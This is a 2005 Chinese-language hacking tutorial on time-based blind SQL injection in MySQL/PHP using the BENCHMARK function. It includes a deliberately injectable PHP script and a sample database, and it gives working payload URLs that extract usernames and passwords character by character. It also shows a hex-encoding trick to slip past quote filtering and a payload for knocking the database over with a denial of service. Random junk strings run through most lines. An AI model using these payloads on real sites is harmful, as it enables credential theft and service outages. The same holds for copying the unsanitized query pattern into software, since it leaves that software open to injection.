MYSQL中BENCHMARK函数的利用 / p2 j$ l7 o8 E0 B; G' X
本文作者:SuperHei7 N% c, R9 R8 \' e Z
文章性质:原创
2 I: B& m( x+ `- _! D) b发布日期:2005-01-02! `/ ^3 }, E N4 z' W! i- R2 X
完成日期:2004-07-09
1 M' X1 Q- L. ? q+ |第一部
6 V6 X. \' A% r* @( o6 s7 h( O6 v
0 D9 I4 ]9 h1 V, Q利用时间推延进行注射---BENCHMARK函数在注射中的利用
8 A* W; B3 m: A8 B U; j$ [! r& _5 U! q* E
一.前言/思路" y; e) v! c; K6 j7 p# D8 h
7 Y5 }/ p5 m1 m3 ^" | 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。2 @8 M+ n6 w7 d6 i8 m9 O( q
# P) e( O/ B$ y' @ 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。: d& N0 [! d" J" J, s& Q: M
! ]! l/ y% U. o+ u- a1 b二.关于BENCHMARK函数
. Y# ?+ J& L5 n6 y# o( J0 r$ K3 Q$ ?
在MySQL参考手册里可以看到如下描叙: 2 N6 K, J& I% V; x0 ?, X
% k4 g9 S6 [* v2 m7 s8 p2 u
2 [% p- M1 R, r& N1 w# R0 V--------------------------------------------------------------------------------
7 O5 c3 e9 ?+ V1 h$ H: e; O/ g9 m R/ V# ^& k7 o! {& q
BENCHMARK(count,expr) ! _" t" _+ [) `% H8 q: ~0 g0 B1 n3 h
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , C& _% o ?0 }6 @8 G
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
7 x% b' c9 S) E. }& r# h1 e+----------------------------------------------+
" f6 A: w4 z2 Q2 E9 a$ Z| BENCHMARK(1000000,encode("hello","goodbye")) |
8 U3 ?% c8 \& y7 J3 e& j1 s$ ^+----------------------------------------------+ . V; m0 }$ O8 Z0 x
| 0 | & u5 z7 _! V! `1 c. Z4 P8 k
+----------------------------------------------+
; e* L. ]9 O' K: T; g# n$ L" R1 row in set (4.74 sec) 6 }8 J- l7 y" E. p$ G
. R" g2 C1 Q. D6 S5 a' E2 T
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
6 L8 I) |) w1 J3 |! V
9 D! N; l7 P8 W7 y! d% ^; Q6 G# b. Z7 N# t
--------------------------------------------------------------------------------
3 ]6 e g. R: m: _* q8 K2 Y0 T0 r5 H8 o8 b* y
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 6 ]9 d1 b& f, B; X8 y: s0 o8 b
1 p5 H6 B3 Y" j% y: Z" b1 T ?mysql> select md5( 'test' );
9 a4 O$ i4 v4 f+----------------------------------+ 6 E# O, c" a5 |" r* ~/ H4 w& F
| md5( 'test' ) |
d1 M# t! |& Y2 @" h+----------------------------------+ ! X8 A" o6 v$ F6 U; w
| 098f6bcd4621d373cade4e832627b4f6 | " y8 g; L* r5 d' a/ L" a& Z
+----------------------------------+
3 K5 \$ k% n/ ]. l1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ) k1 U# d# _5 W9 t: G, X
2 Y/ f6 w8 J- l: {2 imysql> select benchmark( 500000, md5( 'test' ) );
- y: }' q2 k5 |6 N3 X+------------------------------------+ , t) c" y, u8 z# v
| benchmark( 500000, md5( 'test' ) ) | 4 e: h; J! {' _! W
+------------------------------------+ & I: U1 v' ~* k% k5 P, c! S
| 0 | ( Z* a7 A9 i& \& _) V7 ?* I
+------------------------------------+ , \- v. @' x* n9 H# G. F
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) n+ Y, V# _! s" v
* r. G, k8 ?* U5 J
6 H5 j) l/ z! }1 W 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 . d1 a; t2 C# k3 _# S, A, e
1 t' s" B. u7 Y! h% R+ F* V三.具体例子
! o: M9 y& B; m$ D$ _9 D# B' C1 `' X6 T' W% E, }
首先我们看个简单的php代码:5 r( Z* A3 W+ j: V+ G
% T" L% a: K( P1 n& x5 W
< ?php
$ a+ ~. u2 n% @9 W4 A$servername = "localhost";
! S% t+ m# d( t0 \ v" _1 k. A$dbusername = "root";
+ l7 _" ~2 T5 h( c$dbpassword = "";
# @( K2 ?( s& \- R( i3 P$ U$dbname = "injection"; ) g* b p+ E7 r2 t; O U/ N1 S
6 f2 P+ `) T# Y- ~2 kmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 s) q% l$ o$ m, u
2 p5 z3 Z; C0 q/ w7 {0 s
$sql = "SELECT * FROM article WHERE articleid=$id";
' l9 m2 @( ]0 a' N+ k5 N' {$result = mysql_db_query($dbname,$sql);
- x* L6 o* b. F$row = mysql_fetch_array($result);
/ e) B& x" b, u& }. w" m. s1 b8 H3 h- w4 ^8 x- d4 c
if (!$row)
, s# {3 q& t2 ~5 T' |2 H& h{ % o. N# m0 R8 `* u* z: Z
exit; 6 v' h: o/ J& b( O+ F, Q: \" P) P
}
( H7 k$ [0 [3 y?>
. E8 M" r# | i/ D 9 H3 R. J1 R) K. U( `" U
. d* a, Q, l: Q4 G3 n; m. o! k
数据库injection结构和内容如下:& b( U, I- _+ `- ~5 R1 S
0 l1 S0 K6 u- x2 S8 m* @ n; v( w
# 数据库 : `injection` . g) o) P6 p4 O9 _6 ]) e
#
$ }* S% G& t4 g6 e' }5 p# H' {
& W: J2 W; O5 A4 C7 m# -------------------------------------------------------- 5 G8 y7 y4 f" h) W( Z
& {) I7 H" H. v5 I$ H
# " P# t! V' \. @+ l) w( S1 e7 D
# 表的结构 `article` . h+ B( U. n+ T1 L$ |0 Z$ o1 S4 H
#
5 P. n& s1 ~. N$ R% o
# |, C8 \& D/ M: D3 GCREATE TABLE `article` ( . r( \% L; e6 X; O
`articleid` int(11) NOT NULL auto_increment,
- {0 W3 }2 i" a$ k% \% F+ p`title` varchar(100) NOT NULL default '',
+ e: C0 \! J9 Y3 }`content` text NOT NULL, ! T# `' _1 a" ~8 h0 w0 Z
PRIMARY KEY (`articleid`)
7 t% f; o* S; Q: g8 ~# e) x) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 r S' q1 I/ f
; J# i) s" u: v% s. T- ^ F#
) B9 `/ L' h$ z4 \9 M# 导出表中的数据 `article` $ p8 [1 x5 G" N% {9 J _4 K
# 0 ?! G4 I7 y) P0 Y4 L
( G8 j7 t" A+ L; g$ n/ l, tINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 4 M- l# ?" Y6 V+ Y7 ?
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 0 q/ ~% q+ y' A i6 C b$ L4 ~% F
- ?1 l# ?& d3 B9 j) O# -------------------------------------------------------- . U9 M; ]* C6 d8 T/ Q6 w' W" f
% ]& ~. i( d! t
# L S6 K6 Q* C( n- \ S
# 表的结构 `user` : K) ^7 Y( \" i4 t. B: O
# % X: R3 @; ~, F7 l/ Y+ D
' [3 r. Q5 _/ a* `8 `3 V9 vCREATE TABLE `user` (
s& y# ~8 `1 S! w`userid` int(11) NOT NULL auto_increment, ! E/ r% Z7 M$ B4 D
`username` varchar(20) NOT NULL default '', $ u# X8 k: k2 S! u% W6 m7 k
`password` varchar(20) NOT NULL default '',
9 O0 U1 Z4 P y2 K: lPRIMARY KEY (`userid`)
P7 M7 [% k4 k; @. s) TYPE=MyISAM AUTO_INCREMENT=3 ;
- l0 @! B% g2 q/ }6 z8 g; Q+ ]* F2 k0 g% q- G9 h# g
# . r8 g( S3 k% v" T) Q( `' R0 v
# 导出表中的数据 `user`
( l" B. M( h+ Y {- j; n#
" z+ m" T* Y& w! N- e* C
7 H: n, Q5 l8 Q! X( x/ oINSERT INTO `user` VALUES (1, 'angel', 'mypass'); D, j3 }3 k- y& J
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
% z' V% q* r, T( X
7 L* e1 @$ d9 S( |# R$ U. Q, n! y+ f- V0 A v& a
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
- m E4 Y6 ^0 G& C: m: Q& K; a" q& a! s4 E( B1 a! R
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: l! M% z0 ^4 b1 a! J + g) ?% t$ W0 R \# m
% x5 [! V3 \" }
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
" w" e* [0 ?2 |) ?+ u( D
, E' g; O: Q3 [+ h3 [% Jhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
( j7 d8 X+ T# K7 L4 @6 P7 q
6 k5 t/ s B8 U+ d2 h* a
! K! u) B$ T q! G$ n 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
+ k+ i4 E: `/ {" v% \; |
, M: T# \1 L$ s2 {, Q 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
* o5 n$ H$ U! a; {. u& y7 n! B0 `& I, ~: A
第二部
2 a; f* T, A1 g6 i% I1 n
5 @3 d( o0 Z3 \( w, r利用BENCHMARK函数进行ddos攻击
{$ ^1 d- `2 d; ]# \5 B* x
' L7 d x3 ~# o% V 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:% Q ]8 p% c# i5 @& n2 P8 D
* F: y- y) e( z7 u* ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))( @1 G! I- t2 h
9 _5 o+ ^# x$ {% a! T. s' Y* R
: A- e. ^2 ?$ G* z( |4 e5 i
小结: \6 C! f2 V1 E, ^6 m: U& {
0 [) l: } P1 x; O& x! o
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% S( }$ g; D/ x" I& v! B
& ]# M4 l0 ~9 J7 U. e 1 t9 |5 e8 n9 O. _" q
|